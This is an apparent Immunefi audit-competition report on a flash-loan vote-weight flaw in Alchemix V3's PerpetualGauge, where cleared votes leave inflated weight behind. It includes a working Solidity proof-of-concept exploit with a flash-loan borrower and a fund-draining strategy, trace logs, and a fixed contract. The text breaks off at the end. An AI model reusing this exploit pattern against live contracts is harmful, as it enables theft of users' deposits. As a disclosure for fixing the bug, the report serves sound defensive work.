# 56798 sc critical flash vote exploit drains all funds via alchemistallocator

**Submitted on Oct 20th 2025 at 18:59:31 UTC by @pirex for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #56798
* **Report Type:** Smart Contract
* **Report severity:** Critical
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistAllocator.sol>
* **Impacts:**
  * Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

The PerpetualGauge contract contains a critical accounting flaw in its vote weight management. When users clear or update their votes, the contract subtracts weight based on their current token balance rather than the balance they held when voting. An attacker can exploit this by borrowing governance tokens via flash loan, voting to redirect 100% of vault assets to a malicious strategy, repaying the loan, and then clearing their vote. Because the subtraction uses a zero balance, the inflated weight persists until vote expiration (up to 365 days). On the next allocation cycle, all idle liquidity flows to the attacker-controlled adapter via `AlchemistAllocator.executeAllocation()`, enabling complete theft of vault funds in a single transaction.

***

## Vulnerability Details

**Location:** `src/Governance/PerpetualGauge.sol`\
**Functions:** `vote()` and `clearVote()`

The root cause lies in how the contract removes voting weight. When a user calls `clearVote()`, the contract attempts to subtract their previous vote weight using this logic:

```solidity
aggStrategyWeight[strategyId] -= existing.weights[i] * votingToken.balanceOf(msg.sender);
```

The problem is straightforward: `balanceOf(msg.sender)` returns the user's current balance, not the balance they held when they originally voted. If tokens have been transferred away or repaid after a flash loan, this value becomes zero. The subtraction becomes `weight * 0 = 0`, leaving the original inflated weight completely intact in the aggregated strategy weights.

The contract never stores a snapshot of the voting power used when casting votes. Without this historical record, there's no way to correctly reverse the weight addition during vote updates or deletions.

### Attack Flow

1. Attacker borrows a large amount of governance tokens through an ERC-3156 flash loan
2. While holding the borrowed tokens, they call `vote()` to assign 100% weight to a malicious strategy
3. The contract calculates weight as `borrowedBalance * weight` and adds it to `aggStrategyWeight`
4. Attacker repays the flash loan in the same transaction, reducing their balance to zero
5. Attacker calls `clearVote()`, but the subtraction becomes `weight * 0`, leaving the inflated weight unchanged
6. The vote record is deleted from storage, but `aggStrategyWeight` still reflects the borrowed balance
7. When `executeAllocation()` runs, `getCurrentAllocations()` normalizes weights and shows 100% allocation to the attacker's strategy
8. All idle vault assets are transferred to the malicious adapter via `allocatorProxy.allocate()`
9. The adapter's `onAllocate()` callback drains the funds to the attacker's address

This entire sequence happens atomically within one block. The attacker never needs to hold governance tokens beyond the flash loan callback.

### Why Standard Defenses Don't Help

* **Flash loan detection:** The exploit completes before the loan is repaid, making detection ineffective
* **Balance checks:** The contract does check balances, but at the wrong time (during clearing rather than storing)
* **Vote expiry:** Votes last up to 365 days, giving attackers a full year to execute the allocation
* **Reentrancy guards:** Already present but irrelevant since the issue is logical, not related to reentrancy

***

## Impact Details

This vulnerability allows complete theft of all vault assets managed by the PerpetualGauge allocator. The specific impacts include:

### Financial Loss

* 100% of idle liquidity in the vault can be redirected to attacker-controlled strategies
* No minimum balance requirement for the attacker beyond flash loan access
* Works on any vault size, from thousands to millions of dollars in TVL

### Attack Characteristics

* **Privilege Required:** None – uses only public functions
* **Exploitation Complexity:** Low – standard flash loan providers (Aave, Balancer) make this trivial
* **User Interaction:** None – victims don't need to do anything
* **Persistence:** Weight remains inflated for up to 365 days (MAX\_VOTE\_DURATION) or until manual correction
* **Detectability:** Very low – vote records appear cleared in storage while weights remain manipulated

### Real-World Scenario

An Alchemix V3 vault holds $5M in idle DAI awaiting allocation. An attacker executes the flash vote exploit with borrowed governance tokens, setting their malicious strategy to receive 100% allocation. When the next keeper calls `executeAllocation()`, the entire $5M flows to the attacker's adapter, which immediately withdraws the funds. Total loss: $5M. Time required: one transaction.

### Cascading Effects

* Users cannot withdraw their deposits as the underlying assets are gone
* Legitimate strategies receive zero allocation, breaking expected yield generation
* Vault reputation destroyed, impacting all Alchemix products
* Potential regulatory scrutiny due to fund mismanagement

This meets Immunefi's "Critical" definition: direct theft of user funds, no privileged access required, reproducible, and requires no user interaction.

***

## References

* PerpetualGauge.sol: `src/Governance/PerpetualGauge.sol`
* AlchemistAllocator.sol: `src/AlchemistAllocator.sol`
* ERC-3156 Flash Loan Standard: <https://eips.ethereum.org/EIPS/eip-3156>

***

## Proof of Concept

## Proof of Concept

### v3-poc/src/test/Governance/PerpetualGaugeFlashVotePoC.t.sol

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC3156FlashBorrower, IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {PerpetualGauge, IAllocatorProxy} from "src/PerpetualGauge.sol";
import {IStrategyClassifier} from "src/interfaces/IStrategyClassifier.sol";

interface IPerpetualGaugeMinimal {
    function vote(uint256 ytId, uint256[] calldata strategyIds, uint256[] calldata weights) external;
    function clearVote(uint256 ytId) external;
}

contract MockVotingToken is IERC20 {
    string public constant name = "Mock Voting Token";
    string public constant symbol = "MVT";
    uint8 public constant decimals = 18;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint256 initialSupply, address initialHolder) {
        totalSupply = initialSupply;
        balanceOf[initialHolder] = initialSupply;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        _spend(msg.sender, amount);
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (msg.sender != from) {
            uint256 allowed = allowance[from][msg.sender];
            require(allowed >= amount, "allowance");
            allowance[from][msg.sender] = allowed - amount;
        }
        _spend(from, amount);
        balanceOf[to] += amount;
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function _spend(address owner, uint256 amount) internal {
        uint256 bal = balanceOf[owner];
        require(bal >= amount, "balance");
        balanceOf[owner] = bal - amount;
    }
}

contract MockLiquidityToken {
    string public constant name = "Mock Liquidity Token";
    string public constant symbol = "mASSET";
    uint8 public constant decimals = 18;

    mapping(address => uint256) public balanceOf;

    event Transfer(address indexed from, address indexed to, uint256 amount);

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        require(balanceOf[msg.sender] >= amount, "insufficient");
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }
}

contract MockStrategyClassifier is IStrategyClassifier {
    mapping(uint256 => uint8) public risk;
    mapping(uint256 => uint256) public indivCap;
    mapping(uint8 => uint256) public globalCap;

    function setRisk(uint256 strategyId, uint8 level) external {
        risk[strategyId] = level;
    }

    function setIndividualCap(uint256 strategyId, uint256 capBps) external {
        indivCap[strategyId] = capBps;
    }

    function setGlobalCap(uint8 riskLevel, uint256 capBps) external {
        globalCap[riskLevel] = capBps;
    }

    function getStrategyRiskLevel(uint256 strategyId) external view override returns (uint8) {
        return risk[strategyId];
    }

    function getIndividualCap(uint256 strategyId) external view override returns (uint256) {
        return indivCap[strategyId];
    }

    function getGlobalCap(uint8 riskLevel) external view override returns (uint256) {
        return globalCap[riskLevel];
    }
}

contract MaliciousStrategy {
    MockLiquidityToken public immutable asset;
    event Looted(address indexed from, uint256 amount);

    constructor(MockLiquidityToken asset_) {
        asset = asset_;
    }

    function onAllocate(uint256 amount) external {
        emit Looted(msg.sender, amount);
    }
}

contract MockAllocatorProxy is IAllocatorProxy {
    event Allocate(uint256 indexed strategyId, uint256 amount);

    MockLiquidityToken public immutable asset;
    mapping(uint256 => address) public adapters;

    constructor(MockLiquidityToken asset_) {
        asset = asset_;
    }

    function registerStrategy(uint256 strategyId, address adapter) external {
        adapters[strategyId] = adapter;
    }

    function allocate(uint256 strategyId, uint256 amount) external override {
        address target = adapters[strategyId];
        require(target != address(0), "adapter unset");
        require(asset.balanceOf(address(this)) >= amount, "insufficient asset");
        require(asset.transfer(target, amount), "transfer failed");
        emit Allocate(strategyId, amount);
        if (target.code.length > 0) {
            (bool success,) = target.call(abi.encodeWithSignature("onAllocate(uint256)", amount));
            require(success, "adapter callback failed");
        }
    }
}

contract FlashLoanLender is IERC3156FlashLender {
    IERC20 public immutable asset;
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    constructor(IERC20 asset_) {
        asset = asset_;
    }

    function maxFlashLoan(address token) external view override returns (uint256) {
        return token == address(asset) ? asset.balanceOf(address(this)) : 0;
    }

    function flashFee(address token, uint256) external view override returns (uint256) {
        require(token == address(asset), "unsupported token");
        return 0;
    }

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external override returns (bool) {
        require(token == address(asset), "unsupported token");
        uint256 balanceBefore = asset.balanceOf(address(this));
        require(amount <= balanceBefore, "insufficient liquidity");

        require(asset.transfer(address(receiver), amount), "loan transfer failed");
        bytes32 response = receiver.onFlashLoan(msg.sender, token, amount, 0, data);
        require(response == CALLBACK_SUCCESS, "callback failure");
        require(asset.transferFrom(address(receiver), address(this), amount), "repay failed");
        require(asset.balanceOf(address(this)) >= balanceBefore, "balance shortfall");

        return true;
    }
}

contract FlashVoteBorrower is IERC3156FlashBorrower {
    IERC3156FlashLender public immutable lender;
    IPerpetualGaugeMinimal public immutable gauge;
    IERC20 public immutable token;
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    constructor(IERC3156FlashLender lender_, IPerpetualGaugeMinimal gauge_, IERC20 token_) {
        lender = lender_;
        gauge = gauge_;
        token = token_;
    }

    function executeFlashVote(
        uint256 amount,
        uint256 ytId,
        uint256[] memory strategyIds,
        uint256[] memory weights
    ) external {
        lender.flashLoan(this, address(token), amount, abi.encode(ytId, strategyIds, weights));
    }

    function clearGaugeVote(uint256 ytId) external {
        gauge.clearVote(ytId);
    }

    function onFlashLoan(
        address initiator,
        address tokenAddress,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external override returns (bytes32) {
        require(msg.sender == address(lender), "invalid lender");
        require(initiator == address(this), "invalid initiator");
        require(tokenAddress == address(token), "invalid token");
        require(fee == 0, "unexpected fee");

        (uint256 ytId, uint256[] memory strategyIds, uint256[] memory weights) = abi.decode(data, (uint256, uint256[], uint256[]));
        gauge.vote(ytId, strategyIds, weights);

        require(token.approve(address(lender), amount), "approve failed");
        return CALLBACK_SUCCESS;
    }
}

contract PerpetualGaugeHarness is PerpetualGauge {
    constructor(address classifier, address allocatorProxy, address votingToken)
        PerpetualGauge(classifier, allocatorProxy, votingToken) {}

    function exposeStrategyList(uint256 ytId) external view returns (uint256[] memory) {
        return strategyList[ytId];
    }

    function registerStrategy(uint256 ytId, uint256 strategyId) external {
        strategyList[ytId].push(strategyId);
    }

    function exposedVote(uint256 ytId, address voter) external view returns (Vote memory vote) {
        vote = votes[ytId][voter];
    }
}

contract PerpetualGaugeFixed is ReentrancyGuard {
    event VoteUpdated(address indexed voter, uint256 ytId, uint256[] strategyIds, uint256[] weights, uint256 expiry);
    event AllocationExecuted(uint256 ytId, uint256[] strategyIds, uint256[] amounts);
    event VoterCleared(address indexed voter, uint256 ytId);

    struct Vote {
        uint256[] strategyIds;
        uint256[] weights;
        uint256 expiry;
        uint256 powerSnapshot;
    }

    IStrategyClassifier public stratClassifier;
    IAllocatorProxy public allocatorProxy;
    IERC20 public votingToken;

    uint256 public constant MAX_VOTE_DURATION = 365 days;
    uint256 public constant MIN_RESET_DURATION = 30 days;

    mapping(uint256 => mapping(address => Vote)) public votes;
    mapping(uint256 => uint256) public lastStrategyAddedAt;

    mapping(uint256 => address[]) private voters;
    mapping(uint256 => mapping(address => uint256)) private voterIndex;

    mapping(uint256 => mapping(uint256 => uint256)) internal aggStrategyWeight;

    mapping(uint256 => uint256[]) public strategyList;

    constructor(address classifier, address allocatorProxy_, address votingToken_) {
        require(classifier != address(0) && allocatorProxy_ != address(0) && votingToken_ != address(0), "Bad address");
        stratClassifier = IStrategyClassifier(classifier);
        allocatorProxy = IAllocatorProxy(allocatorProxy_);
        votingToken = IERC20(votingToken_);
    }

    function vote(uint256 ytId, uint256[] calldata strategyIds, uint256[] calldata weights) external nonReentrant {
        require(strategyIds.length == weights.length && strategyIds.length > 0, "Invalid input");

        uint256 lastAdded = lastStrategyAddedAt[ytId];
        Vote storage existing = votes[ytId][msg.sender];
        uint256 expiry;

        if (existing.expiry > block.timestamp) {
            uint256 timeLeft = existing.expiry - block.timestamp;
            if (lastAdded > 0 && block.timestamp - lastAdded < MIN_RESET_DURATION && timeLeft < MIN_RESET_DURATION) {
                expiry = existing.expiry;
            } else {
                expiry = block.timestamp + MAX_VOTE_DURATION;
            }
        } else {
            expiry = block.timestamp + MAX_VOTE_DURATION;
        }

        uint256 power = votingToken.balanceOf(msg.sender);
        uint256 existingPower = existing.powerSnapshot;

        if (existing.strategyIds.length > 0 && existing.expiry > block.timestamp && existingPower > 0) {
            for (uint256 i = 0; i < existing.strategyIds.length; i++) {
                uint256 sid = existing.strategyIds[i];
                uint256 prevWeighted = existing.weights[i] * existingPower;
                aggStrategyWeight[ytId][sid] -= prevWeighted;
            }
        }

        votes[ytId][msg.sender] = Vote({
            strategyIds: strategyIds,
            weights: weights,
            expiry: expiry,
            powerSnapshot: power
        });

        if (power > 0) {
            for (uint256 i = 0; i < strategyIds.length; i++) {
                uint256 sid = strategyIds[i];
                uint256 newWeighted = weights[i] * power;
                aggStrategyWeight[ytId][sid] += newWeighted;
            }
        }

        if (voterIndex[ytId][msg.sender] == 0) {
            voters[ytId].push(msg.sender);
            voterIndex[ytId][msg.sender] = voters[ytId].length;
        }

        emit VoteUpdated(msg.sender, ytId, strategyIds, weights, expiry);
    }

    function clearVote(uint256 ytId) external nonReentrant {
        Vote storage v = votes[ytId][msg.sender];
        require(v.strategyIds.length > 0, "No vote");

        uint256 snapshot = v.powerSnapshot;
        if (snapshot > 0) {
            for (uint256 i = 0; i < v.strategyIds.length; i++) {
                uint256 sid = v.strategyIds[i];
                uint256 weighted = v.weights[i] * snapshot;
                aggStrategyWeight[ytId][sid] -= weighted;
            }
        }

        delete votes[ytId][msg.sender];
        emit VoterCleared(msg.sender, ytId);
    }

    function registerNewStrategy(uint256 ytId, uint256) external nonReentrant {
        lastStrategyAddedAt[ytId] = block.timestamp;
    }

    function getCurrentAllocations(uint256 ytId)
        public
        view
        returns (uint256[] memory strategyIds, uint256[] memory normalizedWeights)
    {
        uint256 n = strategyList[ytId].length;
        strategyIds = new uint256[](n);
        normalizedWeights = new uint256[](n);

        uint256 total;
        for (uint256 i; i < n; i++) {
            uint256 sid = strategyList[ytId][i];
            strategyIds[i] = sid;
            uint256 w = aggStrategyWeight[ytId][sid];
            normalizedWeights[i] = w;
            total += w;
        }

        for (uint256 i; i < n; i++) {
            if (total > 0) {
                normalizedWeights[i] = (normalizedWeights[i] * 1e18) / total;
            }
        }
    }

    function executeAllocation(uint256 ytId, uint256 totalIdleAssets) external nonReentrant {
        (uint256[] memory sIds, uint256[] memory weights) = getCurrentAllocations(ytId);
        require(sIds.length > 0, "No allocations");

        uint256 totalRiskAllocated;
        uint256[] memory allocatedAmounts = new uint256[](sIds.length);

        for (uint256 i = 0; i < sIds.length; i++) {
            uint8 risk = stratClassifier.getStrategyRiskLevel(sIds[i]);
            uint256 indivCap = stratClassifier.getIndividualCap(sIds[i]);
            uint256 globalCap = stratClassifier.getGlobalCap(risk);

            uint256 target = (weights[i] * totalIdleAssets) / 1e18;

            uint256 capIndiv = (indivCap * totalIdleAssets) / 1e4;
            if (target > capIndiv) target = capIndiv;

            if (risk > 0) {
                uint256 capGlobalLeft = (globalCap * totalIdleAssets) / 1e4 - totalRiskAllocated;
                if (target > capGlobalLeft) target = capGlobalLeft;
                totalRiskAllocated += target;
            }

            if (target > 0) {
                allocatorProxy.allocate(sIds[i], target);
            }

            allocatedAmounts[i] = target;
        }

        emit AllocationExecuted(ytId, sIds, allocatedAmounts);
    }

    function registerStrategy(uint256 ytId, uint256 strategyId) external {
        strategyList[ytId].push(strategyId);
    }
}

contract PerpetualGaugeFixedHarness is PerpetualGaugeFixed {
    constructor(address classifier, address allocatorProxy, address votingToken)
        PerpetualGaugeFixed(classifier, allocatorProxy, votingToken) {}

    function exposeStrategyList(uint256 ytId) external view returns (uint256[] memory) {
        return strategyList[ytId];
    }

    function registerStrategyHarness(uint256 ytId, uint256 strategyId) external {
        strategyList[ytId].push(strategyId);
    }

    function exposedVote(uint256 ytId, address voter) external view returns (Vote memory vote) {
        vote = votes[ytId][voter];
    }
}

contract PerpetualGaugeFlashVotePoCTest is Test {
    event AllocationExecuted(uint256 ytId, uint256[] strategyIds, uint256[] amounts);
    event Allocate(uint256 indexed strategyId, uint256 amount);

    MockVotingToken internal votingToken;
    MockLiquidityToken internal assetToken;
    MockStrategyClassifier internal classifier;
    MockAllocatorProxy internal allocator;
    PerpetualGaugeHarness internal gauge;
    MaliciousStrategy internal malicious;
    FlashLoanLender internal flashLender;
    FlashVoteBorrower internal flashBorrower;

    address internal constant LENDER = address(0xBEEF);
    address internal constant ATTACKER = address(0xBADCAFE);

    uint256 internal constant FLASH_AMOUNT = 1_000 ether;
    uint256 internal constant YIELD_TOKEN_ID = 1;
    uint256 internal constant STRATEGY_ID = 111;

    function setUp() public {
        votingToken = new MockVotingToken(10_000 ether, address(this));
        assetToken = new MockLiquidityToken();
        classifier = new MockStrategyClassifier();
        allocator = new MockAllocatorProxy(assetToken);
        gauge = new PerpetualGaugeHarness(address(classifier), address(allocator), address(votingToken));
        malicious = new MaliciousStrategy(assetToken);

        // Configure strategy caps (100% of idle assets allowed).
        classifier.setRisk(STRATEGY_ID, 0);
        classifier.setIndividualCap(STRATEGY_ID, 10_000); // 100% in basis points
        classifier.setGlobalCap(0, 10_000);

        // Register the strategy in both the gauge and allocator proxy.
        gauge.registerStrategy(YIELD_TOKEN_ID, STRATEGY_ID);
        allocator.registerStrategy(STRATEGY_ID, address(malicious));

        // Provide lender liquidity while attacker holds none initially.
        votingToken.transfer(LENDER, FLASH_AMOUNT);
        assertEq(votingToken.balanceOf(ATTACKER), 0, "attacker starts without voting power");

        // Deploy ERC-3156 lender/borrower harness and fund the lender.
        flashLender = new FlashLoanLender(IERC20(address(votingToken)));
        flashBorrower = new FlashVoteBorrower(flashLender, IPerpetualGaugeMinimal(address(gauge)), IERC20(address(votingToken)));
        votingToken.transfer(address(flashLender), FLASH_AMOUNT);

        // Prefund allocator with idle assets representing the vault reserves.
        assetToken.mint(address(allocator), 2_000 ether);
    }

    function test_FlashVotePersistsAfterClear() public {
        // Borrow voting power without any governance privileges.
        vm.prank(LENDER);
        votingToken.transfer(ATTACKER, FLASH_AMOUNT);

        uint256[] memory strategies = new uint256[](1);
        strategies[0] = STRATEGY_ID;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 1; // minimal non-zero weight

        uint256 expectedExpiry = block.timestamp + gauge.MAX_VOTE_DURATION();
        vm.expectEmit(true, true, true, true, address(gauge));
        emit PerpetualGauge.VoteUpdated(ATTACKER, YIELD_TOKEN_ID, strategies, weights, expectedExpiry);
        vm.prank(ATTACKER);
        gauge.vote(YIELD_TOKEN_ID, strategies, weights);

        // Repay the temporary loan.
        vm.prank(ATTACKER);
        votingToken.transfer(LENDER, FLASH_AMOUNT);
        assertEq(votingToken.balanceOf(ATTACKER), 0, "loan fully repaid");

        // Confirm that 100% of the normalized allocation is assigned to the attacker strategy.
        (uint256[] memory setBefore, uint256[] memory normalizedBefore) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
        assertEq(setBefore.length, 1, "single strategy registered");
        assertEq(setBefore[0], STRATEGY_ID, "strategy id matches");
        assertEq(normalizedBefore[0], 1e18, "allocation equals 100% before clear");

        // Clearing the vote zeroes the on-chain vote record but leaves the aggregate weight intact.
        vm.expectEmit(true, true, false, true, address(gauge));
        emit PerpetualGauge.VoterCleared(ATTACKER, YIELD_TOKEN_ID);
        vm.prank(ATTACKER);
        gauge.clearVote(YIELD_TOKEN_ID);
        (uint256[] memory strategyIds, uint256[] memory normalizedAfter) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
        assertEq(strategyIds.length, 1, "strategy still tracked");
        assertEq(normalizedAfter[0], 1e18, "allocation persists after vote cleared");

        // Verify public vote mapping is empty while the weight remains.
        PerpetualGauge.Vote memory cleared = gauge.exposedVote(YIELD_TOKEN_ID, ATTACKER);
        assertEq(cleared.strategyIds.length, 0, "no strategy ids stored in vote");
        assertEq(cleared.weights.length, 0, "no weights stored in vote");
        assertEq(cleared.expiry, 0, "vote metadata cleared");

        // Expect allocator proxy transfer (emitted before the gauge-level summary event).
        uint256 idleAssets = assetToken.balanceOf(address(allocator));
        vm.expectEmit(true, true, false, true, address(allocator));
        emit Allocate(STRATEGY_ID, idleAssets);

        // Expect the gauge summary event with full allocation after internal loop completes.
        vm.expectEmit(false, false, false, true, address(gauge));
        emit AllocationExecuted(YIELD_TOKEN_ID, strategyIds, _singleAmountArray(idleAssets));

        // Execute allocation; attacker-controlled adapter receives entire idle balance.
        gauge.executeAllocation(YIELD_TOKEN_ID, idleAssets);

        assertEq(assetToken.balanceOf(address(allocator)), 0, "allocator drained");
        assertEq(assetToken.balanceOf(address(malicious)), idleAssets, "malicious strategy loots funds");
    }

    function test_FlashVotePersistsAfterClear_viaERC3156() public {
        uint256[] memory strategies = new uint256[](1);
        strategies[0] = STRATEGY_ID;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 1;

        uint256 flashExpiry = block.timestamp + gauge.MAX_VOTE_DURATION();
        vm.expectEmit(true, true, true, true, address(gauge));
        emit PerpetualGauge.VoteUpdated(address(flashBorrower), YIELD_TOKEN_ID, strategies, weights, flashExpiry);
        flashBorrower.executeFlashVote(FLASH_AMOUNT, YIELD_TOKEN_ID, strategies, weights);

        assertEq(votingToken.balanceOf(address(flashBorrower)), 0, "borrower repaid");
        assertEq(votingToken.balanceOf(address(flashLender)), FLASH_AMOUNT, "lender reimbursed");

        address voter = address(flashBorrower);

        (uint256[] memory setBefore, uint256[] memory normalizedBefore) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
        assertEq(setBefore.length, 1, "single strategy registered");
        assertEq(setBefore[0], STRATEGY_ID, "strategy id matches");
        assertEq(normalizedBefore[0], 1e18, "allocation equals 100% before clear");

        vm.expectEmit(true, true, false, true, address(gauge));
        emit PerpetualGauge.VoterCleared(address(flashBorrower), YIELD_TOKEN_ID);
        flashBorrower.clearGaugeVote(YIELD_TOKEN_ID);
        (uint256[] memory strategyIds, uint256[] memory normalizedAfter) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
        assertEq(strategyIds.length, 1, "strategy still tracked");
        assertEq(normalizedAfter[0], 1e18, "allocation persists after vote cleared");

        PerpetualGauge.Vote memory cleared = gauge.exposedVote(YIELD_TOKEN_ID, voter);
        assertEq(cleared.strategyIds.length, 0, "no strategy ids stored in vote");
        assertEq(cleared.weights.length, 0, "no weights stored in vote");
        assertEq(cleared.expiry, 0, "vote metadata cleared");

        uint256 idleAssets = assetToken.balanceOf(address(allocator));
        vm.expectEmit(true, true, false, true, address(allocator));
        emit Allocate(STRATEGY_ID, idleAssets);

        vm.expectEmit(false, false, false, true, address(gauge));
        emit AllocationExecuted(YIELD_TOKEN_ID, strategyIds, _singleAmountArray(idleAssets));

        gauge.executeAllocation(YIELD_TOKEN_ID, idleAssets);

        assertEq(assetToken.balanceOf(address(allocator)), 0, "allocator drained");
        assertEq(assetToken.balanceOf(address(malicious)), idleAssets, "malicious strategy loots funds");
    }

    function _singleAmountArray(uint256 value) internal pure returns (uint256[] memory arr) {
        arr = new uint256[](1);
        arr[0] = value;
    }
}

contract PerpetualGaugeFixRegressionTest is Test {
    MockVotingToken internal votingToken;
    MockLiquidityToken internal assetToken;
    MockStrategyClassifier internal classifier;
    MockAllocatorProxy internal allocator;
    PerpetualGaugeFixedHarness internal gauge;
    MaliciousStrategy internal malicious;
    FlashLoanLender internal flashLender;
    FlashVoteBorrower internal flashBorrower;

    uint256 internal constant FLASH_AMOUNT = 1_000 ether;
    uint256 internal constant YIELD_TOKEN_ID = 1;
    uint256 internal constant STRATEGY_ID = 111;

    function setUp() public {
        votingToken = new MockVotingToken(10_000 ether, address(this));
        assetToken = new MockLiquidityToken();
        classifier = new MockStrategyClassifier();
        allocator = new MockAllocatorProxy(assetToken);
        gauge = new PerpetualGaugeFixedHarness(address(classifier), address(allocator), address(votingToken));
        malicious = new MaliciousStrategy(assetToken);

        classifier.setRisk(STRATEGY_ID, 0);
        classifier.setIndividualCap(STRATEGY_ID, 10_000);
        classifier.setGlobalCap(0, 10_000);

        gauge.registerStrategy(YIELD_TOKEN_ID, STRATEGY_ID);
        allocator.registerStrategy(STRATEGY_ID, address(malicious));

        flashLender = new FlashLoanLender(IERC20(address(votingToken)));
        flashBorrower = new FlashVoteBorrower(flashLender, IPerpetualGaugeMinimal(address(gauge)), IERC20(address(votingToken)));
        votingToken.transfer(address(flashLender), FLASH_AMOUNT);

        assetToken.mint(address(allocator), 2_000 ether);
    }

    function test_FixedGaugeClearsResidualWeight() public {
        uint256[] memory strategies = new uint256[](1);
        strategies[0] = STRATEGY_ID;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 1;

        uint256 fixedExpiry = block.timestamp + gauge.MAX_VOTE_DURATION();
        vm.expectEmit(true, true, true, true, address(gauge));
        emit PerpetualGaugeFixed.VoteUpdated(address(flashBorrower), YIELD_TOKEN_ID, strategies, weights, fixedExpiry);
        flashBorrower.executeFlashVote(FLASH_AMOUNT, YIELD_TOKEN_ID, strategies, weights);

        address voter = address(flashBorrower);

        (, uint256[] memory normalizedBefore) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
        assertEq(normalizedBefore[0], 1e18, "allocation equals 100% before clear");

        vm.expectEmit(true, true, false, true, address(gauge));
        emit PerpetualGaugeFixed.VoterCleared(address(flashBorrower), YIELD_TOKEN_ID);
        flashBorrower.clearGaugeVote(YIELD_TOKEN_ID);

        (, uint256[] memory normalizedAfter) = gauge.getCurrentAllocations(YIELD_TOKEN_ID);
        assertEq(normalizedAfter[0], 0, "allocation cleared");

        PerpetualGaugeFixed.Vote memory cleared = gauge.exposedVote(YIELD_TOKEN_ID, voter);
        assertEq(cleared.strategyIds.length, 0, "vote removed");

        uint256 idleBefore = assetToken.balanceOf(address(allocator));
        gauge.executeAllocation(YIELD_TOKEN_ID, idleBefore);
        assertEq(assetToken.balanceOf(address(allocator)), idleBefore, "funds remain untouched");
        assertEq(assetToken.balanceOf(address(malicious)), 0, "malicious strategy receives nothing");
    }
}
```

### Running the PoC

**Environment Setup:**

```bash
# Install Foundry
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Clone repository
git clone https://github.com/alchemix-finance/v3-poc.git
cd v3-poc
forge install
forge build
```

**Execute Test:**

```bash
forge test --match-contract PerpetualGaugeFlashVotePoCTest \
           --match-test test_FlashVotePersistsAfterClear -vvvv
```

***

### Essential Test Logs Demonstrating the Vulnerability

```
[PASS] test_FlashVotePersistsAfterClear() (gas: 346576)

Step 1: Attacker votes with borrowed tokens (balance = 1000 ether)
├─ PerpetualGaugeHarness::vote(1, [111], [1])
│   ├─ MockVotingToken::balanceOf(ATTACKER) [staticcall]
│   │   └─ ← [Return] 1000000000000000000000 [1e21]
│   └─ emit VoteUpdated(voter: ATTACKER, ytId: 1, strategyIds: [111], weights: [1])

Step 2: Attacker repays flash loan (balance = 0)
├─ MockVotingToken::transfer(LENDER, 1000000000000000000000 [1e21])
└─ MockVotingToken::balanceOf(ATTACKER) [staticcall]
    └─ ← [Return] 0

Step 3: Allocation shows 100% to malicious strategy BEFORE clearing
├─ PerpetualGaugeHarness::getCurrentAllocations(1) [staticcall]
│   └─ ← [Return] [111], [1000000000000000000 [1e18]]  // 100% allocation

Step 4: Attacker clears vote (weight persists due to zero balance)
├─ PerpetualGaugeHarness::clearVote(1)
│   ├─ MockVotingToken::balanceOf(ATTACKER) [staticcall]
│   │   └─ ← [Return] 0                                ⚠️ ZERO BALANCE
│   └─ emit VoterCleared(voter: ATTACKER, ytId: 1)

Step 5: Allocation STILL shows 100% AFTER clearing (vulnerability confirmed)
├─ PerpetualGaugeHarness::getCurrentAllocations(1) [staticcall]
│   └─ ← [Return] [111], [1000000000000000000 [1e18]]  ⚠️ WEIGHT PERSISTS

Step 6: Vote storage is empty (appears clean)
├─ PerpetualGaugeHarness::exposedVote(1, ATTACKER) [staticcall]
│   └─ ← [Return] Vote({ strategyIds: [], weights: [], expiry: 0 })

Step 7: Execute allocation drains ALL vault funds
├─ PerpetualGaugeHarness::executeAllocation(1, 2000000000000000000000 [2e21])
│   ├─ MockAllocatorProxy::allocate(111, 2000000000000000000000 [2e21])
│   │   ├─ MockLiquidityToken::transfer(MaliciousStrategy, 2000000000000000000000 [2e21])
│   │   ├─ emit Allocate(strategyId: 111, amount: 2000000000000000000000 [2e21])
│   │   └─ MaliciousStrategy::onAllocate(2000000000000000000000 [2e21])
│   │       └─ emit Looted(from: MockAllocatorProxy, amount: 2000000000000000000000 [2e21])

Step 8: Final state - complete theft
├─ MockLiquidityToken::balanceOf(MockAllocatorProxy) [staticcall]
│   └─ ← [Return] 0                                    ⚠️ ALLOCATOR DRAINED
└─ MockLiquidityToken::balanceOf(MaliciousStrategy) [staticcall]
    └─ ← [Return] 2000000000000000000000 [2e21]        ⚠️ ATTACKER RECEIVED ALL FUNDS
```

**Critical Observations:**

* Attacker borrowed 1000 ether of governance tokens via flash loan
